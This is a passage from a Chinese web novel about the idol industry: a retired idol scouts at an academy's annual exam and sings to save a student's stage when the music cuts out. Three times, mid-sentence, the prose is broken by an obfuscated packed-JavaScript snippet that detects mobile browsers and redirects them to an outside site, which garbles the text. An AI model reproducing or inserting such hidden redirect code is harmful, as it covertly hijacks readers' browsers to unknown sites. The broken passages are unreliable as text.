不过“脆皮”不是指向什么病弱人设，身体比江灼差的偶像比比皆是。 江灼挂的号都是外科。 因为他到处打架，但是天赋不在于此，经常打着打着自己摔个屁股墩儿，杀敌八百自损一万。 【宿主你从实招来，为什么会记住一个到处惹事的小流氓？】 尹灯摸摸鼻子：“我拿麻袋套了迟暮狂揍那晚，报的名字是江火勺。” 【？】 “后来江灼给我写了八百字亲笔信骂我文盲。” 【……】 【统觉得重点不该是文盲。】 8. 组队进行-3 迟曦抵达会议室时，迟暮已经在里面坐了一会儿。 风衣搭在靠背上，他锁着眉头满脸疲惫，看上去刚刚折返，风尘仆仆。 “哥。”迟曦唤他。 迟暮睁开眼：“坐。” 自从日出所规模扩张，迟曦很少有时间和他单独相处。 更不提现在这样，工作时间，会议室，居然只有兄妹两人。 迟曦问：“是工作上出什么事了吗？” 迟暮罕见地卡壳一会儿。 然后他摘下眼镜，长呼一口气：“也许算私事。你知道安祈高价求购梧桐山C区住所的事吗？” “安祈？梧桐山？” “哼，当初我说梧桐山的房价会涨，一口气买了几套。那小子现在买房买到我头上了，还点名要24号那栋。” 迟曦猛地僵住：“24号？那不就是银灯旁边……” 话一出口她就后悔了。 银灯不止对安祈是个禁忌，对迟暮也是一样讳莫如深。 但她刚刚结束和尹灯的对话，实在来不及反应，几乎脱口而出。 这句话也的确引起了迟暮的变化。 迟暮原本还算轻松的表情一瞬间沉了下去，黑沉沉的眸子微抬，定格在迟曦身上。 片刻，他缓慢地强调：“银灯已经死了。” “……”迟曦抿了抿唇，“是。” 不知为何，明明是最后一个见过银灯的人，迟暮却非常坚定“银灯已死”的论调。 所以哪怕没有参加银灯的葬礼，也没有见到银灯的亲属，迟曦都一度相信，可能银灯真的不在人世，只是点梦所出于舆情考虑没有公开。 ——可刚才尹灯才和她通完电话。 “我打算照市价卖给他，”迟暮说，“让他死心也好。” 迟曦皱了皱眉。 一点不好。她还不知道尹灯现在住哪，万一两人就这样成了邻居可怎么办？ 迟曦试着挑拨：“但银灯都走三年了，他突然要买房子，是不是有点奇怪？” “他说他打通了尹灯的电话。”迟暮的话里有些嘲笑意味，“随便什么理由，这两年房价翻了倍，我没理由放着钱不赚。” “但是……” 但是这两年求购那套房子的人不在少数，不也一直没有卖吗？ 因为是特意和银灯买成邻居的房屋，对于迟暮，那本该有着非常特别的意义。 迟曦没有说出这些话，只是忧心忡忡地打量哥哥。 她觉得今天的迟暮有些奇怪。 他和以前一样回避银灯的话题，可又不曾彻底绕开，似乎很希望她明确地提及“银灯”，给他如刚才一般强调“银灯已经死了”的机会。 迟曦想了一会儿，决定试一试：“但是，哥哥你真的认为银灯死了吗？” 迟暮擦拭眼镜的动作停下。 空气好像都凝固了，兄妹之间的氛围急转直下。 就在迟曦懊悔自己冒险的时候，迟暮冰冷的话音响起：“你觉得他活着？” “我……” “四季广场的Daybreak有一条会员卡的消费记录，绑定的是尹灯的身份。那家分店的店长还说有人让她带话，‘尹先生向迟先生问好’。” 迟曦的后背起了一大片冷汗。 而迟暮紧紧盯着她：“昨天，你也在四季广场负责Two Actresses的活动吧？” 迟曦的心脏随之高悬。 迟暮久处上位，于她亦兄亦父，这份压迫感不言而喻。 但看迟暮的态度，完全不像期待尹灯回来的样子。 她咬紧后槽牙，艰难地摇头：“我在活动现场没看到和银灯有关的人。” 甚至心念电转，迟曦又补充道，“……银灯总是丢三落四，会员卡也许是被路人捡到。带话肯定是恶作剧了，说不定捡到卡的就是银灯的粉丝。我们都知道，银灯粉很多相信阴谋论的，觉得是我们害了银灯。” 这个解释牵强到了极致，逻辑四面漏风，迟曦自己都不信。 可迟暮的表情瞬间舒展，如释重负：“没错，就是这样，只是粉丝的整蛊而已。至于安祈，我答应卖给他，但签合同办手续还得看我的方便，不是吗？” 这回迟曦彻底确定，迟暮不希望尹灯回来。 安祈想借邻居关系打探尹灯，一时半会儿也未必行得通。 结束尹灯的话题，迟暮脸上多了几分笑意，看向迟曦的眼神也柔和不少。 他道：“净说杂事去了，我找你来其实是为了星造所的事。” “星造所？” STARMAKER是有名的老牌事务所，实力雄厚，培养出不计其数的有名组合。 迟曦现在最喜欢的偶像江灼就在星造所旗下的Royal Star，简称“帝星”。 迟暮冷笑一声：“江灼出事了。” 迟曦的眼睛骤然瞪大。 “那个蠢货不知道抽什么风，揍了帝星的经纪人，那个经纪人还是星造高层的亲戚。本来星造就把他当弃子，这回更不考虑续约了，接下去好几个舞台都给江灼分的边角位，听说连替补的新人都选好了。” 迟曦唰地站起来：“怎么这样？江灼进队也才两三年！要我说，干脆我们接手江灼吧？” 迟暮斜她一眼：“你休想。” 迟曦“唔”地一声，有些委屈：“江灼实力很强，我们为什么不能雪中送炭？” “我们是什么慈善家吗？帝星签走江灼，就是为了对标季连殊，难道你看不懂？” 迟暮不耐烦地丢去一份文件，“全因为江灼，季连殊这两年人气持续走低，不知道的还以为是咱们把他养废了。现在好不容易有机会把江灼摁死，我可不想夜长梦多。” 迟曦拿着文件的手一抖：“……哥的意思是？” “最后一个月，不管是为续约压价，还是提防他反咬事务所，星造多半会找人抖出江灼的一些黑料。这些黑料不会太严重，因为不能烧到星造所的屁股。” 迟暮愉悦地笑起来，冲迟曦眨眨眼睛，“但是，我们可以给这把火加点油，绝不放过星造所的屁股。工作和追星是两码事，你清楚的吧？” 迟曦僵在原地。 文件上都是有关江灼的传闻，迟曦清楚，这里边很多都是谣传。 但现在，它们即将变成她伤害江灼的凶器，晃眼间，那些方块字仿佛一条条黢黑的爬虫，在她眼前越发扭曲。 连带着迟暮的脸也变得陌生。 明明最开始不是这样。 那时刚签下银灯的哥哥，明明两眼明亮、意气风发，扣着银灯的手大声说“我们要改变偶像”—— 她突然想起了尹灯的话，“姐姐并不认可现在的迟暮吧？” “完全把偶像当作棋子，如果碍到他的路，无论什么天赋什么初衷什么交情，迟暮都会把人完全毁掉。” 迟曦久处麻木的心脏揪疼一瞬。 但迟暮的吩咐还未结束，他信手丢来一叠信件：“今晚是安贝格学院的年考，发给各个事务所的邀请函都在这儿。今年给咱们的不少，你挑几个有眼力见的，让人去看看。” 安贝格学院是业界内最具名望的偶像学院之一，许多偶像都出身那里。 所谓年考，则是一年一度的“签约会”。 正常经营的事务所和一些小有名气的独立经纪人都会收到“邀请函”，凭此进入安贝格学院观看年考表演。 如果看到合乎眼缘的小偶像，应届毕业即可当场签约，非应届的也可以先行接触，甚至提前给一些资源帮忙培养。 迟曦接过那封信，厚厚的触感让她回了神。 日出所的地位水涨船高，今年收到的邀请函，竟然有两位数之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429665|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 那他们至少能派出十几个人去安贝格考察偶像。 迟暮叮嘱：“今年不用太认真选，暂时不太缺人，可以选那种之前就有流量的，先考虑好包装方案再签约。” “行，我去安排。” 迟曦一口应下，手指却卡在其中一封邀请函上。 她突然想起了尹灯。 尹灯要开事务所，起步阶段最缺的除了钱，就是艺人。 而这些邀请函对日出所来说，多一封不多，少一封不少。 而且看她哥这副急功近利的模样，如果真让尹灯做出一个新所，从天而降一顿打脸……说不定能把哥哥揍个清醒。 不能细想，爽得她想立刻呸一口在迟暮脸上。 迟曦拿起手机，点开了尹灯的窗口： [你还住在梧桐山吗？我有东西给你。] - 收到飞信的尹灯还没什么情绪。 但收到东西后，尹灯给迟曦发了一排大拇指emoji。 【到了到了，这里就是偶像殿堂的入门大厅！安贝格学院！！】 系统比他还要兴奋，从出租车减速开始，就在脑子里一阵啸叫。 尹灯看向不远处矗立的学院，浅蓝色的瓦顶、米白色的门柱，相当梦幻的配色，远望过去仿佛白云擎天，伸手即可触到那片童话的世界。 下了车，门卫已经习惯了今天络绎不绝的外客，例行检查他的邀请函。 “鄙姓张，欢迎您参观安贝格学院，很高兴为您引路。对了，不知您是即将出道的新组合，还是……” 听说客人来自日出所，负责带路的张老师来得很快。 不过真见到了尹灯，他又有些犯嘀咕。 ——日出所几个有名的经纪人他都认识，但这位，哪怕戴着口罩，他也能确定自己从没见过。 因为尹灯的气质太特别了，这种丢进人堆里一定会引起注意的存在，他只要见过一面，不可能毫无印象。 “我姓尹，是新入业的经纪人。”尹灯笑着回答，“所里给我机会，过来开开眼。” 张老师应一声，收回目光。 这个解释合理多了，足以消解他大半的疑虑：“您真客气，年考表演本来就对外公开，您既然是代表日出所过来，那更是我们的贵客，学生们都会全力表演的。” “我很期待。” 说着话，张老师领着尹灯来到了训练楼前。 年考表演是在晚上七点正式开始，在此之前的排练时间，事务所人员也可以进入训练楼观察学生情况。 但他刚想开口介绍，发现尹灯的步调比他还要轻快，好像非常熟悉这条道路。 再结合尹灯出色的仪态和气质，张老师下意识问：“您以前也是偶像？” 偶像转业的经纪人不在少数，日出所的迟暮就是其中最出名的之一。 如果尹灯也曾是偶像，那说不定还是安贝格的学生，张老师看他的眼神不禁又多了一层探究。 条件这么好的毕业生，自己怎么会毫无印象？ 尹灯笑了笑：“我不是从安贝格毕业的，现在也已经退役了，因为伤病。” 张老师遗憾地点头：“您以前应该是非常出色的偶像吧。” 提到伤病，他的脸上又多一分怅然，“安贝格也曾有一个姓尹的孩子，天赋相当惊人，人也努力，可惜……” “张老师，”尹灯打断了他，笑眯眯问，“我可以进大楼里看看学生的排练吗？” “不好意思，是我失言了。当然可以，您请便。” 张老师给他指了指入口，笑着示意，“六点钟的时候楼里会响铃，教工人员会接您去演出厅休息，日出所的位置在B区第一排。” 尹灯点头应下。 但直到张老师走出他的视线，准备迈入大楼的腿却不知为何，久久没有动作。 9. 组队进行-4 所谓天赋异禀、勤奋努力，却因为生病无缘舞台，还刚好和他同姓的偶像吗…… 一刹那，好像有熟悉的笑声在耳边回响： “哥，你帮我调过动作之后，今天张老师就表扬我了哦！” “是吗？那也是你表现得好。” “明明是哥太适合做偶像吧？不管外形还是唱跳都挑不出错，要是让张老师看到哥哥，说不定会哭着喊着求你入学。” 灯光下，尹灯慢条斯理地缝着女孩的演出服。 对于尹阳三番四次的试探，他的态度依然平淡：“不要，我没兴趣。” 他只是为了帮尹阳调整动作，才记下那些舞台和歌曲。 远不够和真心热爱偶像的尹阳相提并论。 ……但是，这样的他，最终偷走了尹阳最热爱的舞台。 何其恶心、何其卑劣。 【宿主快看，这些才是我们需要的小偶像嘛！】 系统的尖叫声把尹灯从回忆里拽了回来。 年考期间，许多事务所都会派人来各大学院观察。 学生们也知道这是他们最关键的时刻。这几天里没有人会放松，大家全都如临大敌，绷直了双腿和肩背，让旋律和节拍充斥整座大楼。 除了尹灯，也有其他事务所的经纪人到此参观。 比起西装革履的他们，尹灯的深灰色羊绒大衣就显得太过随意。但他的气质格外出众，怎么看都更像是偶像而非经纪人，一路引起不少人的注意。 “打扰一下，您也是这次的考生吗？” 一人主动走近，递来名片，“我们是PICK娱乐事务所，有没有兴趣了解一下？” 尹灯刚想婉拒，不想另一边也有人靠近：“我们和诚所也很有意向！” 他几乎立刻成了人群里的焦点。 包括训练室里练习着的学生们，也都纷纷投来目光，或羡慕、或好奇，又不约而同地被尹灯所吸引。 “投靠那些名不见经传的小所，以你的资质也太屈才了。” 话音落下，众人齐齐转首。 一道高挑消瘦的人影走出楼梯，他推了推眼镜，束在脑后的长发如瀑垂泻。 看向一头雾水的尹灯，男人走到近前，递来一张黑底金字的名片。 周围陷入死寂。 男人的笑容温文尔雅，语气却带着微妙的强硬：“点石成梦，了解一下？” 点石成梦——三大所之一，人称点梦所。 虽然也曾陷入财务困境，但它很快就靠FLAME席卷业界，成就了十年内最惊人的奇迹组合。 FLAME的成功，也让点梦所成为了无数偶像的心向往之。 而以点梦所的行业地位，把对同行的藐视表达到这种程度也属常见。 尹灯读出名片上的名字：“经纪人宋非泽？” 宋非泽颔首。 【宋非泽！是那个现FLAME的经纪人！据说好多好多有名的制作人都跟他是朋友！人脉超广！！】 系统扑腾起来，【他居然会亲自到安贝格来选新人？统的天啊！！】 惊讶的不止系统，宋非泽的外貌也很优越，圈内人多少听说过他的威名。 他一露脸，许多经纪人就都露了怯。 在没有表演过舞台的情况下，就能得到宋非泽的青眼—— 这绝对是传说级别的待遇！ 但尹灯只是捏了捏那张名片，没有任何多余的表情。 好一会儿，他才伸手和宋非泽浅握：“鄙姓尹，也是经纪人。出门急忘了带名片，不好意思。” 宋非泽讶异地挑了挑眉：“经纪人？你看上去还很年轻。” 他确信尹灯身上有专属于偶像的特别气质，偶像转职经纪人也不少见，但一般都是人气太低、年龄太大、伤病太重。 以尹灯的硬件不可能是人气问题，那就只剩后两个可能。 尹灯笑笑：“显嫩而已。” 听到“经纪人”三个字，原本觊觎尹灯的同行们也流露出遗憾的神色，寒暄之后接连散去。 宋非泽打量了尹灯很久，见他完全没有摘下口罩的意愿，也便笑笑：“哪怕作为同行，宋某也很乐意结交尹先生这样的朋友。” “太荣幸了。”尹灯道，“但我八字跟点梦所犯冲。” “……” 宋非泽的笑容僵了一下，“什么？” “而且您刚才上楼最后一步踩的左脚，塔罗说我今天不宜和左脚上楼的人说话。” 这下任谁都能听出尹灯话里的针对了。 宋非泽表情没变，但眼里的情绪沉了许多，打量的眼神越发锐利。数秒后，在尹灯的咳嗽声下，宋非泽才收回略显冒犯的目光： “不得不说，你是一个坦诚勇敢的人，我还是保留对你的欣赏。” 尹灯弯了弯眼：“糟糕，这么大度，那我可要爱上您了。” 宋非泽的假面生出一丝裂缝。 那张出了名的俊脸抖动片刻，幸好有同事上前招呼，宋非泽如蒙大赦：“尹先生这么风趣，真遗憾不能和你多聊几句。但今天还有正事，我也不耽误尹先生工作了，希望下次有机会，能和尹先生找一处安静地方谈个畅快——那时，我会注意别用左脚上楼。” 说完，宋非泽的眼神掠过尹灯拿着名片的手。 没有给尹灯退还名片的机会，他笑一笑，和同事一起飞速离开了走廊。 再转回头，刚才还对尹灯虎视眈眈的经纪人们都已没了兴趣。 毕竟谁能猜到，梦寐以求的猎物竟然是个同行。 尹灯很高兴他们知难而退，不然还要他一一解释，那也太麻烦。 一排排训练室里传出悠扬的旋律，尹灯逐间观赏。 他和宋非泽的对话早已一传十十传百，敢和宋非泽叫板的经纪人屈指可数，哪怕还没见到正脸，许多学生也都铆足了劲渴望尹灯的关注。 他们也没有让尹灯失望。 一路看下来，不知是看多了陈凡还是这三年心态太过仁慈，尹灯居然觉得许多人都孺子可教，看得他非常满意。 不过…… 尹灯的真实来历显然让他们有些失望。 “所以，贵所甚至还没有完成注册吗？”学生之一为难地低着头，“其实我已经接到过PICK娱乐的邀请，只是想看看有没有更多选择，不好意思。” “我也和朝瑰所谈到最后阶段了，让您白跑一趟，真的很抱歉。” “听您的介绍，贵所的组合还有两名偶像？呃，是还没通过IIT的天降系？……对不起，我可能得多考虑几天。” 一顿忙活下来，尹灯逛完了全楼，竟然没有一个当场答应跟他走的。 系统忍不住戏谑：【这里可是安贝格！好多学生读书时就上过正式舞台，都有人气积累了，怎么可能去陪你开荒啦——除非你告诉他们你是银灯。】 “那也没用吧。”尹灯找了个角落靠墙休息，“他们要真是银灯粉丝，早该认出我了。就像雪枝那样。” 退一万步，真认出了又能如何？ 银灯消失三年，高情商说法是“失踪”，潜台词其实也是“过气”。作为粉丝可以说永远追随、永远支持，但新人偶像呢？ 复出后不回原所，也不联系原经纪人，怎么看都是要跟三大所叫板的意思。 立志以偶像为职业的孩子们，怎么可能拿最宝贵的青春陪他挑衅三大所？ 【那现在怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429666|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办！】系统哀嚎。 尹灯沉吟几秒：“事已至此，先下班吧。” 【？】 说下班就下班，尹灯伸了个懒腰，掉头准备走人。 他本来也没有很自信今天能从安贝格捡漏，只是迟曦给了这个机会，不试试也不死心。但是没有缘分，当然不能强求。 正想着，尹灯的耳翼忽然一动。 许多排练教室都有学生在练歌，哪怕关上门，也总有一两丝走漏。 但他竟然从这些略显嘈杂的背景音中，捕捉到一丝更为遥远的……清亮？ 尹灯停步，循声望了过去。 声音来自楼上，张老师说过，三层以上的排练室设备老化，一般没有学生在那儿排练。 沉吟片刻，尹灯还是抬腿上楼。 走到四楼，那阵清透的歌声就越明显。 仿佛唱诗班的圣歌，只是听一听，都能净化身心一般。 “可以了，就到这里吧。” 一声冷淡的命令，却把歌声彻底叫停。 四楼相当空旷，这句人声也回荡数秒，让尹灯立刻意识到此人身份。 就是刚才一面之缘的宋非泽。 宋非泽正在末尾的训练室里，那句话后，伴奏就被人关停，一时间只剩沉默。 尹灯走近了些，透过窗户，影影绰绰地果然能看到宋非泽的背影。 他倚墙站着，被几个同事簇拥。几人似乎在讨论什么，听不清晰，而在他们对面，是一名孑然默立，身形清瘦的少年。 尹灯反应过来，这好像是签约现场。 能让宋非泽亲自负责的考核，多半是和现FLAME挂钩。 刚才只听声乐也能感觉到，这孩子的实力相当不俗。 但在尹灯准备避嫌离开的时候，宋非泽再次开口：“很遗憾，韫玉，我们一致认为，采用你的风险还是太大了。” 尹灯顿住脚步。 房间里少年的呼吸明显变得沉重。 “这也是为了你好，你的先心病……”宋非泽没有说完，只是惋惜地叹气。 名叫韫玉的少年听懂了他的言外之意，轻轻嗯了一声。 宋非泽道：“你依然可以考虑来点梦所从事其他工作，我们随时欢迎。” 韫玉摇头：“谢谢您的美意，但我暂时还不想告别舞台。” “我理解，你从十四岁就作为偶像活跃，这份感情一定很难割舍。可是韫玉同学，希望你相信我们点梦所惜才的心情，只要你愿意，我们可以从头培养你参加任何偶像以外的工作。” “……”韫玉说，“我会认真考虑的，再次感谢您。” 韫玉的声线非常罕见，是一种清透的柔和，仿佛春潮漫月、初雪融泉。 但他的体型并不娇小，相反，挺拔瘦削，如一竿箭竹，在身量颀长的宋非泽跟前也不落下风。 隔着窗户，尹灯看不清韫玉的脸和表情。 只是“先心病”这个关键词猛地攫住了尹灯的呼吸，不知觉间，他已抬起眼，望向房间里的少年。 浅金色的中长发扎成了低马尾，柔顺地垂在肩膀，却一点不显女气。 眉眼俊朗落拓，有着少年抽条时期特有的明俊清秀，隐隐地，还能感受到比其年龄更为深厚的宁静的气质。 像一把金色竖琴，华丽而不失庄重。 【宿主？你今天怎么老在走神！我们该撤退了！】 尹灯回神。 悦耳的铃声响彻训练大楼，六点到了，外客需要离开这里，给偶像们留出最后的准备时间。 “统，”尹灯道，“这韫玉名字，你去弄弄明白是怎么个写法。” 【？】 “我中意他。” 10. 组队进行-5 作为偶像学院里的榜样，安贝格的年考大典向来热闹。 受邀来到大典现场的事务所足有上百家，准备好今晚签约的经纪人不计其数。其他年级、其他学院的学生也都可以自由到场，观看这场一年一度的演出。 因此，尹灯来到演出厅的时候，场地内已经有条不紊坐满了观众。 五彩斑斓的应援棒仿佛浪花，在黑暗中潮起潮落，音响、灯光等等设备都已调试完毕，场内播放着舒缓的热场音乐。 “感谢您的到来，您的位置在B区第一排19号。” 工作人员递来一份节目单，“对了，您的座位也是‘导师席’，欢迎您随时不吝赐教。” 所谓导师席，是特别供给三大所精英的“特权”。 他们的位置上都配备有足够传彻全场的麦克风，可以随时打断表演——当然，这对偶像们是极其不尊重的行为，直到今天，用过这一特权的人也是屈指可数。 尹灯循着引导入座，导师席的视野好得出奇，19号又在边角，不至于太过惹眼。 而他来得不算早，观众席的大灯已经关闭，正方便尹灯把面孔藏在昏暗中。 【导师席诶——】系统激动得直蹦，【就算是三大所，也只有特别特别厉害的人才能分到这种席位。迟曦姐姐对宿主真好！】 尹灯也挺惊讶迟曦的慷慨，但他不会纠结太久：“让你查的东西呢？” 【催催催，就知道催，有统出马，能有什么查不到的吗！当当当当！韫玉，16岁，安贝格学院四年级生，声乐实力超群……】 系统报喜的同时，暖场乐戛然而止。 身着正装的两名主持人走上舞台，仪态端庄，挂着无可挑剔的笑容。 时针恰到好处，走到了晚上七点整。 尹灯信手翻开节目单。 今晚的年考大典仅限四年级生，也算他们的毕业表演。而安贝格这一届毕业生共计200人，大都分散成五十多个组合，就这么又唱又跳，足以熬走大半个晚上。 余下也有十来个单人偶像，但因为业内更流行组合偶像，年考的单人表演也基本被压到最后，而且时长极短。 尹灯就在末尾几场单人表演里看到了韫玉的名字。 韫玉，《风之都》。 这首歌的名字不算耳熟。 尹灯回忆片刻，还是记起了这首歌——是去年Royal Star新专里的一首单人曲目，难度中上，原表演者是江灼。 不过Royal Star和江灼的人气虽然很高，《风之都》却没能得到多少认可。 因为曲调意外地温柔，和江灼风风火火的人设大相径庭。而在尹灯看来，江灼的演绎的确不尽人意。 倒不能怪江灼水平不行，应该说这首歌的编曲就…… 实在不像Royal Star御用团队的水平。 曲子本身恬静缓和，编曲却格外的繁复臃肿。看似是为了贴合江灼以前的轻摇滚风格，其实不伦不类，反而带偏了江灼的演唱。 偏偏它又确实是照搬了江灼的个人符号，让人听完只觉得是江灼毫无音乐审美，逼着编曲师改成这样。 但实际嘛…… 尹灯不知道，也懒得知道。 目光回到舞台。 开场组合是一支六人队伍，劲爆的电吉他响彻四方，观众席随之沸腾。 尹灯托着下巴欣赏。 都好，都好，安贝格还真是捡条狗都比CANDLE会跳。 但当看到少年们脸上近乎僵硬的、肌肉记忆的笑面，扬起的尺寸都像用刻度尺精心测量过，精确无比，毫无瑕疵。 熟悉的疲惫感涌了上来。 尹灯的眼皮合上了，嘈杂的音乐远去，他非常熟练地堕入梦乡。 【……宿主！不要再睡了！】 “喂，你。” 系统和某人的声音同时响起，尹灯猛抬头。 舞台上已经不是他印象里的那支组合，不知道睡了多久，他的颈椎都有些酸。 尹灯醒了醒神，优先看向某人。 对方坐在他的左边，正一脸不耐地碰他手肘：“别压我的地方。” 他们的座椅紧密相接，尹灯低头，发现自己搭着扶手的胳膊还真不小心挪出了半厘米，入侵到邻座的地盘。 可是银灯还记得这人吵他前的半秒，他刚梦到自己握着一把锋利的刀，即将剖开胸腔。 这么完美的自杀场景，全被这人搅和了。 尹灯不语，只是把侵略的半厘米扩张为十厘米。 某人：“……” 系统激动：【就该这样！宿主你就该这么狂妄！！】 某人反手压了回来，直接压在尹灯手上。 晦暗中谁都没有再说话，只有衣料反复摩擦，不留情面的肘击你来我往。 直到两个人都有些气喘，尹灯用余光斜一眼，掠到对方漂红的发丝，压在鸭舌帽下，微卷的弧度宛如火舌。 忙于和他的角斗，那人正玩着的消消乐手游刚刚宣告失败。 而且体力已经耗尽，短时间内不能重开。 “喂，我说你——！” “嘘。”尹灯收手，坐正了身体。 敌人不爽他就爽了，现在要避战。 “敌人”憋了一肚子火，却碍于年考大典虽然不接待外客，但也有直播，镜头不时扫到导师席，害他无法当场和尹灯翻脸。 尹灯甚至能听到身边人磨牙的动静。 咔吧咔吧的，牙口不错。 【宿主干得漂亮！谁再对你甩脸子，咱就脱口罩，吓死他们！】 尹灯打了个哈欠，确定口罩和帽子依然严丝合缝地保护着自己：“你刚才叫我又是什么事？” 【是韫玉的舞台快到了哦。】 “……我睡了多久？” 【宿主是真心提问的吗？】 尹灯不问了。 他在山里当野人的时候，每天就在反复的自杀和活着之间折腾，根本没有生物钟可言。回到A市这些天，好像也还没能调节完毕。 就这么闭几秒嘴，作为对系统闹钟的嘉奖吧。 但关心韫玉的显然不止他一个。 身边生闷气的青年被自己的同伴拉了拉，朝着另一边转过脸去。尹灯也竖起耳朵，听见他们低声的议论：“你看节目单了吗？这个韫玉要唱你的歌诶。” “你”的歌？ 这人是《风之都》的原唱？ 尹灯皱眉转脸，正对上青年也转回来。 四目相对，才注意到两个人都戴着批发似的黑口罩和鸭舌帽。 凌厉的目光互剐一阵，尹灯还真有一种异样的亲切感：“……江火勺？” 江灼：“？！” 江灼瞪圆了眼，没摘口罩，但撸袖子：“他大爷的你是谁啊？你乱叫什么……” 话音未落，舞台上的灯光亮了。 新的表演拉开帷幕。 尹灯故技重施：“嘘。” 江灼僵了瞬间，下意识坐直身体。 意外地很吃这套，是个乖宝宝。 最新的表演者正是尹灯期待的韫玉。 哪怕不想承认，尹灯也只能接受自己睡完了大半场年考的现实——没办法，关了灯的地方总是这么好睡。 江灼的同伴也在关注：“去年春日庆典，这个韫玉和他队友可是大出风头。那会儿炒得沸沸扬扬，说点梦所确定要签他们，特别是韫玉，大概率要进FLAME，直接跟原团队拆组了……唉，真是可惜。” 江灼似乎不明情况：“可惜什么？” “哈？你完全不看新闻的吗？”同伴无奈，放轻了声音，“韫玉为了FLAME还拒绝过咱们所，现在听说他身体查出问题，宋非泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429667|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接爽约了，其他所也……” 声音越来越低，他们不再说了。 尹灯偷听不得，正犹豫要不要直接问，转过脸才发现他们闭嘴的原因。 宋非泽就坐在四个位置开外的导师席，朝这边投来冰冷的注视。 两人对上视线，尹灯不动如山，宋非泽注意到他，颔首微笑。 江灼也顺着看过去，发现宋非泽和尹灯之间的眼波流转，重重啧了一声。 这段交锋只在几秒之间，待到灯光大盛，洒下圣洁的光羽，人们的视线就都集中在台上的韫玉。 尹灯的直觉没有出错。 韫玉是非常出色的偶像，比起之前习惯把笑容作为表演手段的学生，韫玉一出场，面上不带讨好的笑意，以他为中心，却有一种清宁、静谧的氛围在场中酝酿。 “有风，不远万里。 “求访，何处皈依。 “吹落，星辰如雨，好梦频惊，飘絮打萍……” “此路迢迢我心迷迷，日月遥遥我独去去。” 韫玉在单人偶像中是居中出场，但在他之前，大多数表演都倾向于炸场。 眼花缭乱的灯光和布景让人应接不暇，韫玉就像大鱼大肉后的一碟小菜，清口去腻，少年声线的穿透力恰到好处，直抵人心，展示他超出寻常的声乐功底。 声如其人，人如此歌。 恬静、悠扬，又暗藏汹涌。 【咦？这真的是《风之都》？怎么和统搜索到的不太一样？】 “他改了编曲。”尹灯一下就听了出来。 编曲被韫玉删去了许多繁复的铺排和转音，只留下主旋律和少许垫音，更衬得他的声线突出，这对歌唱者的声乐实力要求极高。 尹灯下意识瞄了一眼江灼。 江灼闭着眼，看不出情绪，鸭舌帽越压越低，发梢倒是越翘越高。 【但他这不是纯唱吗？】系统担忧地说，【年考必须要一起展示声乐和舞蹈的吧。】 尹灯倒不担心：“有间奏呢。” 先唱歌，再在间奏展示舞蹈，这是很常见的个人舞台。 鼓点渐密，间奏渐近。韫玉握着麦克风，缓缓从舞台中央站起。 看得出，他的计划和尹灯预测的一样。 一声重鼓，韫玉丢开麦克风，垮下厚重的外套。 少年劲瘦的四肢伸展如旗，无数灯光汇聚在他的头顶。 犹如樊笼天降，罩住了当中光辉无匹的天使。 ——却在这时，乐器的间奏戛然而止。 空气滞住，静得没有一丝声音。 韫玉的预备动作僵在了半空，他没有流露惊色，但身体还是隐隐一颤。 音响坏了。 这是所有人的第一个想法。 坏在了韫玉舞蹈展示的瞬间。 …… “此路迢迢我心迷迷，日月遥遥我独去去。 “万念空空我行匆匆，血肉沥沥我心戚戚。” 导师席连接的音响蓦地发声。 清冷的男声重唱着最后一段，紧随其后，一个完美的滑音，转入了层层拔升的吟唱，仿佛银瓶乍破，淙淙漫过听众的神经。 ——不偏不倚，正是原本弦乐间奏的旋律。 他的歌声比韫玉的声线更冷，又比原本的乐器间奏更透。 如果说韫玉刚才是圣诗班的唱诵，现在的吟唱，就像是天外神明的应答。 每一层转调都圆润巧妙，无论技巧，还是情绪，都几乎臻至化境。 刚因为音响故障而微微骚动的人群顷刻静了。 这道天籁似的歌声，足以慰平任何不安的心绪。 韫玉陡然回神，在尹灯的吟唱中跳起舞蹈。 一阵吉他乐也悄然融入他们。 尹灯掠去余光，江灼正抱起随身携带的吉他，靠近导师席的麦克风，拨动了弦。 11. 组队进行-6 【呜哇哇哇哇——宿主、宿主居然唱歌了呜呜呜呜呜呜——果然！宿主一开口就是最强的！！】 在尹灯和江灼的护航下，韫玉微喘着结束了他的表演。 系统激动的哭声在颅内回荡，和场中经久不息的掌声响成一片。 “真是一场精彩绝伦的演出！”主持人满目惊艳地鼓掌，看向鞠躬行礼的韫玉，“韫玉有没有什么话想说给两位助场老师呢？” 韫玉抿了抿唇：“谢谢。” 主持人又看向台下的两人：“那两位老师……” 江灼打断她的话：“没有。” 